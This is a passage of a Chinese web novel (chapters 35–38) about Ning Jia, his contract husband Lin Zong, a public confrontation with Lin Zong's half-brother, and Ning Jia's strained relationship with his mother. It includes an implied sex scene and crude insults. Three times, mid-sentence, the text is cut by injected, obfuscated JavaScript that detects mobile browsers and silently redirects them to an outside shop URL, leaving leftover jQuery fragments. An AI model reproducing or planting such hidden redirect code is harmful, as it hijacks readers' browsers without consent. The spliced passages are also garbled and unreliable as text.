宁嘉一点犹豫都没有:“不可以。” 35. 第 35 章 直到回到家,宁嘉还没从许诗瑶的不可理喻里回过神来,活到二十多岁,每一天仍然处于长见识的状态,就很神奇。 林纵应该才到家,还在餐厅里吃饭,背对着门的方向坐着,宁嘉脚步声靠近,慢慢挪到他边上,卖乖:“学长,还有饭吗?” 宁嘉报复心强,算是还了许诗瑶一次,两人说是出来吃饭,筷子拿在手里,却不肯吃多少,许诗瑶问:“怎么不吃饭呀?” 宁嘉说:“我想回家陪林纵吃。” 只不过许诗瑶没半点察觉,脸上露出甜蜜的笑容:“看到你们感情好,我就放心了。” 宁嘉差点吐血。 林纵朝厨房的方向抬了抬下巴,示意宁嘉自己去打饭。 宁嘉端着碗在林纵边上的位置坐下,两人真碰在一起的次数少,每次都是面对面坐着的。 宁嘉今天有些反常,因为看见林纵,很想要靠近林纵,连他自己都说不清为什么。 家里的阿姨厨艺很好,饭菜的口味比咖啡厅好了不止一个档次,一口香喷喷的大米饭送入口中,带着清香,宁嘉满足地叹了口气。 林纵不由看了他一眼,但宁嘉不开口,他也没打算问。 一口饭菜下咽,宁嘉吃得心满意足,摇头晃脑难掩喜悦之情,用脑袋拱了拱林纵的肩膀:“学长。” 林纵现在回来算是早的,说好了要和许诗瑶吃饭的宁嘉却也回来那么早,林纵大概能猜到一点,挑了块鱼肉夹给宁嘉:“嗯。” 他们之间没事喊学长,和无论如何都会有回应的游戏好像怎么都玩不腻。 宁嘉懒懒地,不像不开心地问:“你说我妈的脑子里都在想什么?” 林纵知道宁嘉是不想说的,那句“怎么了”便一直没开口,只表示自己在听:“嗯?” “她简直是个恋爱脑,脑子里除了男人什么都没有。”宁嘉恨铁不成钢地说,“我挺不能理解的,她都一把年纪了,不图吴良仁的钱就算了,难道还真的图爱情吗?” 林纵:“......” “爱情有什么用?”宁嘉皱着眉思考,“不都是骗人的吗,吴良仁还说要和她结婚呢,现在估计都没有提起来了,我妈竟然也能忍。” 宁嘉这表情看着真像无欲无求的人。 林纵问:“你之前和我结婚是是因为什么?” 宁嘉虽然不生气,但还是一副因为在气头上所以理智全无的模样,讲话不经过大脑,瞎说大实话:“因为我妈生病了,她让我和你结婚,这样她就会开心一点,而且吴良仁答应她了,我和你结婚,他就和我妈结婚。” 林纵的声音听起来很平静:“所以你和我结婚是为了成全你母亲。” “当然,”宁嘉察觉到话里的不对,看向林纵,连忙改口,“倒也不全是,要不是你,我也不肯啊,学长。” 说完狗腿地笑了笑,自以为对话无懈可击。 林纵笑了下,似乎并不在意宁嘉的话,饭吃完收拾好碗筷去了厨房,留宁嘉一个人在吃饭。 宁嘉觉得无聊,端了碗去厨房边和林纵闲聊。 他身上不再有昨晚被许诗瑶影响到的负面情绪,甚至是有些热情高涨的,林纵不知道他在开心什么,可是傻兮兮的,让人不由想要跟着笑。 “学长,你在干吗?”宁嘉吃饭慢,一口饭含在嘴里还要和林纵聊一会儿天才舍得咽下去。 林纵从冰箱里拿出百香果和柠檬,还有提前冻好的冰块和放凉的糖水。 百香果捞出果肉,柠檬切片,放在容器里捣一捣,再加上糖水搅拌均匀,倒进杯子后丢几颗冰块。 这是闻凯上次教林纵的,很简易的手打柠檬水。 因为林纵不回答,宁嘉又嘀咕回先前的话题,很不明白:“学长,你有喜欢过什么人吗?喜欢一个人的时候都是这样的吗?” 林纵在捣柠檬的间隙看了宁嘉一眼,宁嘉却没看出来林纵那几乎想要把他脑袋一并捣掉的眼神。 林纵平淡地问:“什么样?” 宁嘉就靠在墙边细数:“江软没谈过恋爱,以前那些朋友谈恋爱的时候也从来不像我妈这样,要死要活是有的,醉了几次酒,再哭一场,立马就下一个更乖了。” “可是我和我妈说什么她都不听,你为她好,苦口婆心,她还油盐不进。”宁嘉嫌弃地直摇头,“糟老头子有什么好。” 虽然糟老头子长得确实还行,但他虚伪,还装模作样。 “喜欢一个人真麻烦。”宁嘉抱怨道。 林纵终于把柠檬捣完了,费劲的事情干完,放下可以敲死人的东西,颇为心平气和地问:“你没有喜欢过谁吗?” 饭很好吃,菜也很好吃,宁嘉的防备心都被美食消耗光了,不假思索道:“没有啊。” 柠檬水装杯,冰块放进去,林纵手心冰凉,将果汁递给左边拿碗右手拿筷子的宁嘉面前。 宁嘉:“?” 林纵保持着动作不变。 宁嘉怎么好意思收林纵这份大礼,慌里慌张把筷子也拿到左手,右手接过杯子,惊喜道:“给我的?” 林纵从宁嘉身边路过,头也不回地上楼 “啊,我还没吃完呢,”宁嘉看着林纵的背影,嘟囔,“不陪我吃了啊。” 真是的。 宁嘉磨磨蹭蹭吃了饭,把酸甜的果汁喝完,洗了碗和杯子,上楼回到房间的时候,正好赶上林纵从浴室里出来,香喷喷的。 “学长,”宁嘉惊讶,工作狂今天不工作啦,“你今天这么早休息啊?” 林纵目光平淡地掠过宁嘉的脸:“嗯,你也去洗。” 吃饱喝足,宁嘉还打算在沙发上躺一会儿,上刺激战场消消食,不过算了,谁让他心情好,学长说什么就是什么。 实际上宁嘉也很少反驳林纵说的话,林纵看起来是温和的,但他在家里会比在外面强势,那样的时候不多,基本都是只有他们两个人的时候,宁嘉好像很习惯这样的时刻,也没觉得有哪里不对。 宁嘉从衣柜里翻出睡衣,甩在肩上,往浴室走,吹着口哨,硬是走出了六亲不认的步伐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493392|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宁嘉洗完澡又打算去沙发上躺着,林纵靠在床上刷手机,见状,他说:“过来。” 宁嘉脚步一顿:“学长,我现在还不睡。” 林纵说:“我知道。” 好吧,虽然不知道林纵在想什么,但是宁嘉表示了尊重,往床边走的时候,林纵同时也坐了起来,场面突然变得诡异起来。 宁嘉看着林纵,不解。 林纵看着宁嘉,在宁嘉马上要接触到床的时候,直接把人拉上来。 宁嘉:“!!!” 学长终于要家暴了吗! 宁嘉踉跄着撞进林纵怀里,扑腾着艰难坐坐起来,睡衣在匆忙间扯了半肩,林纵瞥过在那一抹白,捉着宁嘉的手腕关掉房间里的灯。 宁嘉的心忽然砰砰得跳,此家暴非彼家暴,宁嘉迟钝地意识到,自己好像要遭殃了。 声音哆哆嗦嗦地抖,企图挣开林纵的手,赔笑:“学长,学长,现在还早呢。” 宁嘉感受到了不同的温度覆在他身前,手腕被攥得很紧,唇落在皮肤上。 宁嘉打了个颤,不明白这是发生了什么事,都这么久了,他以为林纵是吃素的,表里如一,结婚当晚走个仪式就好了,怎么还有下文啊。 “学长,学长......”宁嘉推拒的手被林纵捉住,声音在某一刻突然变了调,“啊,别,”然后是很小声的融在夜色里的泣音。 “不是,为什么啊,”宁嘉欲哭有泪,粗鲁地擦了擦眼角,“怎么这么突然啊。” 他被弄得半死不活,躺在床上出神,手在床上摸来摸去,想找到被他弄不见的手机,看看时间。 手先摸到林纵身上,被抓住:“干什么?” 宁嘉算是知道了,男人就是男人,再正经的男人上了床都是一个样子,像个禽兽,斯文败类,长得帅帅的,声音哑哑的,情.欲满满的,自己惨惨的。 “......” 宁嘉悲愤欲绝,碎碎念:“我想看看时间,我想睡觉。” 林纵把手机找出来,放到他手上:“还早。” “.....什、么,什么,”宁嘉懵懵的。 林纵把宁嘉拖进来,给他报时间:“两点四十七。” “嗯?” “啊——” “救......救救我吧,” 宁嘉的灵魂早已沉睡,只有肉.体还在人世间漂泊,活着,是一种微信状态,文字可以形容,人,是不行了。 第二天早上,宁嘉还要早起去上班,眼屎糊住了眼睛,就像他的未来一样迷茫,两只手在空中摸索,嗓音沙哑:“我起不来。” 林纵握住他的手,摸了摸他的额头:“起不来就别去上班了。” 宁嘉哑着破锣嗓抱怨,闭着眼睛一副要死不死的模样:“都说了我要上班的。” “不是说不要了吗。” “我说了要睡觉的。” “你不管我死活。” “你想要我的命。” “......” 36. 第 36 章 坚强如宁嘉,最后还是爬起来上班了,林纵亲自送他去的公司。 宁嘉扶着老腰,挪着屁股在车上和林纵告别:“学长再见。” 林纵不领情,锁上了车门。 宁嘉艰难转头:“?” 林纵解开安全带,捏着宁嘉的下巴俯身吻过去。 宁嘉瞪圆了眼睛,虽然很震惊,但竟然没有想着要躲开。 唇舌缠绵悱恻,不深入,又像是流连忘返,林纵的吻很轻,离开时却咬了宁嘉一口。 宁嘉捂着嘴,吃痛:“干吗啊。” 偏偏林纵面无表情:“下次再见要这样说。” 宁嘉气急败坏:“我下次再也不坐你车了!” 还说个毛线。 林纵的车前挡风玻璃是半透明的,只遮阳,视线做了小部分的阻拦,认真看,还是可以看见的。 宁嘉不知道这一点,下车后往公司走,脑海里乱七八糟的什么都有。 宁嘉反思自己,最近似乎对林纵的容忍度越来越高了,虽然以前也从来没想过拒绝什么。 但宁嘉是直男啊! 直男本男想到昨天晚上的场景,突然一顿,琢磨自己可能也没有那么直,活了二十多年连自己是什么玩意都没有分清。 好吧。 宁嘉于是开始批判林纵,林纵最近有一点过分,每天睡前都会和宁嘉亲昵一会儿,这像是个陷阱。 无声无息地煮着宁嘉这只青蛙,等到宁嘉被掐着喉咙的时候,才知道自己马上就要熟了。 林纵竟然还在车上亲宁嘉! 还不是亲,还是那样那样亲。 先前两人做过最亲密的事情也就是牵牵手而已。 宁嘉思考地太过认真,一台阶差点走空,抬头,看见他笑得花枝乱颤的同事。 “?” 同事:“宁嘉,我看见你老公了!!” “?”宁嘉:“你怎么知道我不是老公?” 等会儿,怎么就不能是我婚外出轨对象? 同事哈哈直笑,能看见嗓子眼的那种:“别逗了,你可一点都不像。” 宁嘉呵呵:“是吧。” 同事狂笑,很激动,用胳膊撞宁嘉:“我看到他亲你了,”比划着,“还掐脖子,好man哦。” 虽然但是,宁嘉挣扎道:“他什么时候掐我脖子了。” 同事一脸懂得都懂:“难怪现在找不到帅哥,帅哥都和帅哥在一起了,帅哥都喜欢这样的。” 宁嘉又觉得同事说的在理:“是吧,我也觉得我很帅。” 同事兴奋道:“你老公可真帅。” 宁嘉:“......” 宁嘉眼下挂了老大个黑眼圈,上班半天萎靡不振,趴在桌上装死。 在公司中午都是吃外卖,只有少数时候没有空闲,才会在楼下超市随便买点速食对付。 同事在问中午吃什么,宁嘉长叹一口气:“不想吃。” 在这个时候,宁嘉的手机响了,翻开屏幕一看:给你叫了外卖。 宁嘉瞬间喜滋滋,腰也不酸了,屁股也不难受了,眼下两个大眼袋说消就消了。 同事还在说:“不吃饭怎么行,随便吃点吧,这家四十起送,你和我拼拼?” 宁嘉立马坐直,神气得很:“我老公给我叫外卖了。” 笑死,搞得谁没有老公一样。 可同事就是没有,呵。 外卖到的时候,正好赶上午休,公司因为小,没有特意分开茶水间和就餐区域,宁嘉拿了外卖,就在自己工位上吃。 同事吃着二十一份的鸡排饭对宁嘉的午饭流口水:“等等等等。我拍张照,拍过等于吃过。” 宁嘉就让她拍了,看着同事拿出手机,不知怎么想的,宁嘉也拿出了手机,拍了张照。 发给江软:[图片] 宁嘉:学长给我买的。 宁嘉:[狗头][狗头] 江软:狗东西。 江软:秀恩爱死得快。 江软:[鄙视][鄙视] 好像是个很理所应当的过程,因为发给江软了,所以顺便也发给了林纵。 宁嘉:[图片] 宁嘉:我要准备吃饭了,你吃了吗? 林纵:[图片] 照片从办公桌的位置远距离拍过去,外卖袋还在茶几上,林纵还在忙。 林纵:等下吃。 宁嘉:还在忙吗? 林纵:还差一点。 宁嘉日常报备:我晚上没事,会早点回家。 林纵回:想吃什么和阿姨说,晚上加班的话我和你说。 同事对宁嘉的午饭进行了九连拍,把饭盒推了回去:“好了,你可以吃了。” “我还没动过,你要不要来一个?” 在岩市的时候也是这样,和公司的同事互相分享外卖,因为都是男性的关系,实际上没有那么多计较。 到这边还是有些不习惯,因为公司里大部分都是女生,宁嘉掌握不好和她们聊天的度,有的时候很怕说错话。 “好啊,好啊。”还在同事很开心,拆了宁嘉干净的筷子,夹了一颗晶莹剔透一看就很贵的肉放到自己碗里,又把筷子给宁嘉放好,“谢谢啦。” 宁嘉笑说:“不客气。” 下午工作时闲聊,同事提到下周末是她生日,问宁嘉要不要来玩。 “我啊?”宁嘉急忙摇头,“都是女生,怪尴尬的。” 同事眨眨眼:“不都是女生啊,她们也有家属的,都过来热闹嘛,我们公司的同事都会来,你也可以带家属啊。” 宁嘉立刻拒绝:“我们家家属肯定不来!拜拜了你诶。” 同事说:“......” 下班时两人一起下楼,从电梯口出来还在讨论:“我在想是直接吃饭,还是吃完饭去KTV唱歌,对了宁嘉,你酒量怎么样?” 宁嘉寻思着我说了不去了的:“我酒精过敏,喝不了酒。” 同事:“这样啊,那太可惜了。” “?”宁嘉:“可惜什么?” “可惜——” “好巧啊。” 同事才说了两个字,话就被打断,抬头一看,穿着一身价值不菲的男人正看着她——身边的男人。 同事看着宁嘉。 宁嘉皱着眉,盯着林少。 林少还是那副上不了台面的模样,一看他这表情,宁嘉就知道今天这事没法善了。 说起来也真是神奇,可能是老天爷觉得宁嘉的前半生过得太过平和,自从他来了予市,乱七八糟的事就没有停过。 这些有钱人真是闲的,因为钱解决了他们生活中百分之八十的烦恼,所以习惯于每天没事找事。 “是巧,还是你特意来找的我?”下班的时间点,林少刚好出现在公司大厅,这样的事情,宁嘉不觉得是巧合。 同事从来没见过宁嘉这样,面色发冷,攻击性很强的样子:“......宁嘉,怎么了?” “没事,”宁嘉回头看了她一眼,“你先回去。” 林少这种人,被惹急了迁怒于人的事是做的出来的。 “走什么?”话是对同事说的,林少却看着宁嘉,“你不喜欢男人吧,和林纵在一起,是不是特别难受?” 宁嘉给林纵发消息:林少在我公司闹事,现在。 紧接着宁嘉开始刷手机,他不急着走,也对林少的话无动于衷。 每次都是这样,林少看着宁嘉的脸,注意到他颈侧不明显的痕迹,气急败坏,大庭广众下口不择言:“不喜欢男人,还要被男人操,很辛苦吧?” 宁嘉撩起眼皮看了林少一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502960|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,似乎在鼓励他继续。 同事听到这句话的时候已经遁了,偷偷摸摸远离了战场,顺便疏散了周围几个看热闹的人,但也没走,碰到了其他围观的同事,几人就在不远处看着。 “那人谁啊?怎么看着凶巴巴的,他们在说什么?” 同事说:“神经病,找宁嘉麻烦的。” “我就说这些有钱人都有毛病。” 同事补充:“宁嘉除外。” 几人一致点点头。 “所以说你图什么,”林少恶狠狠地说,“和不喜欢的人在一起,为了那个私生子在我爸面前让我难堪,你得到了什么好处?” 林少每回过来说不清重点的毛病总是不改:“所以你想说什么?” 林少说:“我总得给你个颜色瞧瞧,我又不像那个私生子,那么好说话。” 宁嘉不说话,点了点头,一副“我等着”的样子。 偏偏林少就喜欢宁嘉身上那股劲,和他身边接触的太多为了钱什么都可以的人不一样,宁嘉甚至是看不起他,可林少更看不起身边那些为了钱讨好他的人。 “你喜欢那样的?”林少看着刚才没走远的同事问,这次眼神直勾勾地盯到女生身上。 宁嘉挪了位置,挡住同事的身影:“林少,我劝你带点脑子。” 这句话和林平生先些天骂林少的一模一样,瞬间被点了火,声音大个整个大厅都听得见:“你个卖屁股的有什么资格指责我。” “我个卖屁股的还看不上你,你气不气?” 宁嘉这个人大多数时候并不记仇,因为有仇当场就报了,从不内耗自己,能骂就骂,骂不过就打,“铁骨铮铮”就算了,有时候还当棉花,谁捏他都是软的。 语气软软的,说出来的话也像棉花糖一样柔和。 惹林少一向是一惹一个准:“你他妈找死。” 宁嘉往后顿了顿,边上立马拦上来,看热闹归看热闹,但不能看着别人打人:“别冲动别冲动,有话好好说,别打人啊。” 宁嘉被人挡着,就安心躲在人后,他不想打架,只有嘴巴不肯停下,两人中间隔了七八个人,周围还围着一圈因为看热闹不想回家的人。 宁嘉大喊,气沉丹田,欲泣欲泪:“我看不上你,确实是我的不对,毕竟你是我大哥啊!。” 林少:“?” 周围人纷纷用中彩票般震惊到眼珠子快要掉出来的目光看着林少,视线整齐划一。 同事半张着嘴:“我的妈,这是什么狗血剧情,我睡着了?” 门口,因为出门办事回来早顺便想要接宁嘉的林纵,脚步一顿,突然觉得打扰了,他的出现可能会影响到宁嘉的发挥。 因为收到宁嘉的消息,林纵把车停到路边立马就赶过来了。 眼下场景有些荒谬,宁嘉能解决的事情,林纵反而不急着过去了。 宁嘉满脸“不可为”的无奈,怅然,那表情谁看谁觉得假:“我和你弟结婚,你不祝福我们恩爱到老就算了,为什么想抢你弟的老婆?” 周围人:“哦,我的天,竟然不是骨科。” “不是,你没听懂他的意思吗?果然好吃不过嫂子,呸,饺子。” ...... 宁嘉:“你们有钱人玩的真花,想要就一定要得到?哪怕我是你弟弟的老婆?” 宁嘉问:“你就这么喜欢我啊?” “我喜欢你ma——” “大哥!”宁嘉大喊一声,打断了林少的话,“你这样让我怎么面对爸爸!” 林少:“......” 林纵在此时适时出现,皱着眉,和宁嘉一致对外,看向林少,表情满是对林少不可理喻的无可奈何。 宁嘉抓着林纵的胳膊,也不管他为什么来的这么快,戏精上头,亢奋道:“老公!你看看大哥!” 37. 第 37 章 一路上,宁嘉都有些安静过头,林纵偶尔看看他,但没有立马去问。 阿姨看到两人神色凝重,一前一后的进来,甚至不敢问晚上要吃什么。 宁嘉进了猫房,林纵的视线从宁嘉背影收回来:“随便做吧,来点去暑的。” 一天没见宁嘉,富贵妖娆的长尾巴又绕了上来,夏天里热,宁嘉上班穿的随意,大多数时候就是短袖短裤,长尾巴毛茸茸地贴着皮肤,宁嘉什么不好的情绪都没有了。 坐下来,抱着富贵捋捋毛,过了不到十秒钟,富贵开始不满,发出不满的叫声,爪子蹭着宁嘉的胳膊要脱离苦海。 “喵。”富贵逃跑成功。 林纵推门进来,见宁嘉坐在地上,他也坐到宁嘉旁边,捉着宁嘉的手,吻了吻手背。 宁嘉在此时变成了富贵,抗拒着不自在地收回手:“干吗啊。” “不知道啊,”林纵声线平稳带着笑意,看向宁嘉不肯面对他的侧脸,“我来接你下班,你怎么还生我气。” 宁嘉连忙解释:“我没有生你气。” 林纵点点头,还是那样的语气:“那怎么不理我?” 林纵毕竟和富贵接触得少,但富贵的脾气继承他的主人,在林纵面前狗腿得很,不止尾巴,脑袋还一个劲蹭着林纵放在腿弯处的手,宁嘉看得更气了,不自觉带上抱怨的语气:“你怎么来这么早。” 林纵曲着手指揩着富贵的下巴,下巴舒服的扬起了头,他说:“刚到,没有提前和你说是不知道你下班了没有,但我车停在门口,如果你出来了,我可以看得到。” 宁嘉想说的分明不是这个,林纵每次都这样,曲解宁嘉的意思,好像从来不会怪罪。 宁嘉只好说得更直白些:“我知道你公司过来要时间,和你说不是要你帮我解决问题,我只是怕万一林少纠结很久,那你来了,也可以帮帮我。” 可林纵来的太早了,恰巧看到宁嘉首次放大招的经过,宁嘉苦恼,揪着富贵的胳膊把猫抓过来按在怀里撸,难为情地说:“学长,你会不会觉得我.......” 宁嘉说不出口。 林纵等了一会儿,看宁嘉没有要再说话的意思,问:“觉得你什么” “喵——”富贵蹬腿。 宁嘉慢吞吞地说:“......有点颠。” 林纵笑出了声。 宁嘉:“?”你这样很不尊重人好吧。 “笑什么。”宁嘉声色厉荏,凶巴巴地问。 富贵又绕回林纵脚边,林纵把它抱给宁嘉,宁嘉接过来,把富贵箍在怀里,富贵气得直嗷。 “会有一点意外,但也不是很意外,感觉像你会做出来的事,为什么要忍那些不正常的人。他们也没有好好对你,所以你不用要求自己怎么样,想这件事情应不应该。” 林纵所了解的宁嘉一直是这样的,并不是随心所欲,但至少不是听之任之,容忍任何人爬到他的头上。 “你做的很对。”林纵还是这样说。 面对林少这样的人退让只会换来无休止的下一次,难堪的话,挑衅的事情,自以为下作到令人颜面全无的行为。 宁嘉脱口而出:“那你为什么,” 林纵实在太好说话了,让宁嘉有了想要靠近他的,和他更好一点的冲动,不该问的话就这么说出口,声音却越来越轻。 林纵淡淡道:“我不一样。” 他曾经也和闻凯说过这样的话,我不一样。 “哪里不一样。” 宁嘉迫不及待要反驳他,不明白,不相信,不希望林纵是那样放弃和世俗争辩的人,那样并不代表他冷情,高高在上,反而显得他很可怜,好像这个世界上没有值得他留恋的东西。 林纵看着宁嘉,神情淡漠的有些陌生:“你真的想知道吗?” 宁嘉想知道,林纵就会告诉他。 林纵把宁嘉圈在身边,和他结婚,领证,和他做.爱,打上标记,可直到这一刻,林纵还是想过的,如果有一天,宁嘉一定要走,不想留在他这样的人身边,他不会勉强的。 林纵仍然为宁嘉留有余地。 你真的想要知道吗。 那样的眼神看着宁嘉,林纵却想说,想要知道我就告诉你,但你以后不能再走了,我不会让你走的,后悔也没有用。 宁嘉果然是怂了,猫从他怀里跑了都来不及在意,想要说话,张了张嘴,最后竟然没能说出口。 林纵原来知道的,当初宁嘉一次次问林纵会不会后悔的时候就存了这样的心思,怕林纵真的愿意和他在一起,也怕最后自己退却了,想要离开的时候,会伤害到林纵。 “学长......”宁嘉不敢再看林纵。 林纵“嗯”了一声,没再说什么。 再在猫房待了一会儿,林纵便回了书房处理工作,阿姨来喊宁嘉吃饭,宁嘉缓过劲上楼去叫林纵,饭桌上两人这才提到林少的事。 宁嘉不怕林少,但会觉得有一点麻烦:“学长,他以后还要找我闹吗?” “现在知道怕了?”林纵问。 宁嘉摇头:“那倒不是,”思维开始运转,他说,“这次已经闹这么大了,他要再来,我就不知道该怎么闹得更大了。” 但宁嘉的表情明明是跃跃欲试。 林纵:“......” “你公司的人都知道了。”林纵提醒他,林纵对这些事是不在意的,可他不知道宁嘉是什么想法。 “那又怎么样,我又没有做错什么。”宁嘉吃着饭,随口说,“他先招的我,他来我公司闹事,怪我天生丽质,难不成还受害者有罪论?” 这样的宁嘉很难让人不喜欢,林纵回答他先前的问题:“那你就不用担心了,林家人会来求你的。” 宁嘉笑了下:“学长,你不是林家人啊。” 其实这是个玩笑,毕竟林纵也姓林,林纵却认真说:“我母亲姓林。” “啊,这样。”这确实是宁嘉没有想到的。 “可能就是这个原因吧,林平生才喜欢她。” 因为林纵的话,晚上宁嘉翻来覆去都没有睡着,不知道在想些什么,只是心里觉得难过,因为林纵当时的眼神——我母亲姓林。 林纵半梦半醒间抓住宁嘉的手,哑声问:“怎么不睡?” 宁嘉往怀里蹭了蹭,找到熟悉的位置,也没说话,林纵拍了拍宁嘉的肩,没再问。 不知道过了多久,宁嘉就这么睡着了。 第二天早上宁嘉才到公司,同事滑着椅子就过来了,拿着手机看起来很是兴奋:“宁嘉宁嘉宁嘉。” 办公室里,其他同事纷纷递去了眼神,分明也是,宁嘉宁嘉宁嘉。 宁嘉视若无睹,慢吞吞地开电脑:“怎么了?” 同事握着手机,眼里冒光:“我知道昨天来闹事那个土鳖是谁了!” 宁嘉:“?” 同事很有眼力见地说:“有钱有素质的叫土豪,有钱没素质的叫土鳖。” 震惊,宁嘉心说同事说的也太有道理了。 同事琢磨着宁嘉的表情,似乎不太相信她说的话? 立马献出手机:“昨天的事都闹到网上去了,你看。” 宁嘉如今的小公司和林纵做的地产行业差很多,公司没有很大,坐落在写字楼的其中一层的其中一组房间里,而同一楼层有四五间这样的公司,一整个写字楼几乎有上百家公司。 在这样的地方上班,下班高峰期,一楼出口处人口密集。 宁嘉就是要闹,因为林平生太爱面子了,他的软肋那么明显,而林少竟然还敢来找宁嘉的麻烦。 闹到网上,倒是宁嘉没有想到的。 有人在大厅的一角从高处往里拍摄,画面清晰,宁嘉被打了马赛克。 然而,竟然有人真的敢惹姓林的,就这么把林少高清□□的脸放了出来。 宁嘉笑死了:“谁拍的,这么6。” 同事看着也很是好奇:“我也不知道,昨天看了一下,拍照的人挺多的,但也没有谁站很高。” 宁嘉说:“借我看看?” 同事把手机给他。 宁嘉点开了评论区。 【我就说一件事,这个人姓林,本市有栋大楼也姓林。】 1L:是了是了,这个人上次还来我们公司出席过活动,我找找照片。 【有什么事非要跑到别人公司去闹,有钱就可以为所欲为吗?】 1L:那肯定的,没看到这人看上自己弟弟的老婆了吗? 2L:歪一下楼,现在真的有人同性结婚了吗? 3L:有什么问题?我前段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518046|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间也领证了,喜欢就在一起,和性别有什么关系。 【这个人叫林少,有名的玩咖,男女通吃,真是操了,怎么不找我?】 1L:? 2L:?? 3L:??? 【这种事情全国各地都有,被传到网上来,也是够丢人的,不是都很低调的吗?】 宁嘉把手机还给同事:“你知道林少是谁吗?” 同事和宁嘉说悄悄话:“早上上网查了一下,知道了。” 这个发帖子的人也是有想法,没有在昨天晚上直接发布视频,而是等到今天早上,大家还将醒未醒,甚至有些人在床上起不来的时候一条微博冲上热搜。 蹲马桶的人顿时起不来了,躺床上的突然觉得上班也不香了,这个时候压热搜还需要时间,同事怕宁嘉看不到,相关内容做了转发处理,还截图了一些好笑的评论。 宁嘉看看她,问:“什么都知道了?” 同事点头,其实也不是秘密,有些事情太过显而易见,林平生也没有要藏着的意思。 林平生,予市大企业家,其父退休前在本市亦有其建业。林平生的妻子姓胡,育有三女一子,私生子林纵,八岁那年突然出现,随后一直跟在林平生身边,可见林平生对他的在乎程度。 宁嘉置身事外地评价:“有钱人屁事就是多。” 同事还在那刷微博,发现相关内容已经撤下热搜,不过还可以搜得到:“速度真快啊,不过你放心,删不干净。” 宁嘉倒是无所谓:“都一样,别人的事,没有人会在意很久。” 同事不由点头,就很道理:“你看的真明白。” 宁嘉笑了笑:“早上过来有很多人在看我。” 同事问:“你会不会不自在?” 宁嘉看了她一眼,同事实话实说:“要是我的话,可能都想辞职了。” 明知道不是自己的错,但她还是接受不了这些。 “林少想的话,我就算搬去火星,他都还会来找我麻烦。”至于他人的眼光...... 宁父去世那年有很多人对宁嘉和许诗瑶指指点点。 “听说他们本来住在那边的大房子,可有钱了,他老公把家里的钱输光了,现在说死就死了,小孩子可怜啊。” “就是他啊,长得挺好看的,可怜啊。” “你看那个女的,老公死了没几天就出门了,看起来一点都不难过。” “天天打赌还有什么好难过的,就当他死了。” “小孩子真惨,摊上这样的父母。” “那你帮帮他们。” “我才不要呢。” ...... 上班的时候,宁嘉收获到了一批和曾经相同的目光,好奇、同情、怜悯、谴责,下班的时候,又有不一样的人这么看着他。 就很有意思。 同事和宁嘉职业同样,下班也经常一起走,那样的目光和落在她身上也没什么两样,出门等车的时候还在安慰宁嘉:“你别管他们,总有人好奇的。” 事情发生在别人身上时,态度又坚决了很多。 她忘了宁嘉上午和她说过的话,宁嘉也笑笑:“没关系,我不在意。” 予市这段时间像个大火炉,热得人寸步难行,宁嘉站在站牌处等公交,阳光斜晒进来,晒得他双脚发烫,有种鞋底都要融化的感觉。 公交上人多,没有位置,宁嘉就拉着吊环站着,人挤人很快就冒了一身汗,炎热的夏季,因为天气,人心更加浮躁。 别墅门口站着一个人,没有权限,进不去,只能站在阴凉的地方等,宁嘉看出了那人熟悉的身影,不急不缓地走过去:“妈,你怎么来了?” 许诗瑶过来,还是因为上次的事,吴良仁很缺钱,他着急,那么多朋友竟然找不到帮忙的人,非要让许诗瑶来让宁嘉帮忙。 只一眼,宁嘉就明白了,他说:“我会和林纵离婚。” 许诗瑶猝不及防:“嘉嘉,你......” 宁嘉望向许诗瑶,这么长时间了,一桩桩一件件,他突然觉得妈妈的面容变得陌生起来,有点疲惫:“妈,你不在意我,所以就算了。” 算了。 宁嘉往后退了一步:“我那么珍惜你也没用。” 所以算了。 38. 第 38 章 再之后许诗瑶说了什么,宁嘉就记不清了。 大概是说了许多吴良仁的好话,又劝宁嘉好好想想,婚姻不是儿戏。 但宁嘉想,最开始他和林纵结婚就像是儿戏,两个不该在一起的人,硬是因为旁人的贪念勉强捆绑在一起。 宁嘉觉得心虚,总是不敢往前靠,离林纵近一点。 他又不是真的傻,分不清喜欢和好感,在意是一码事,心疼和舍不得又是别的说不出口的情绪了。 到最后许诗瑶在叫屈,说自己不容易,摊上那样的前夫,又生了那样的病,她只是想和吴良仁在一起而已,如果不能结婚,那么做一些对他有利的事也是可以的。 她只是喜欢一个人而已,想得到成全难道不可以吗? 宁嘉把许诗瑶送回了家,一路上沉默,无论许诗瑶在出租车里喋喋不休些什么他都没有反驳和回应。 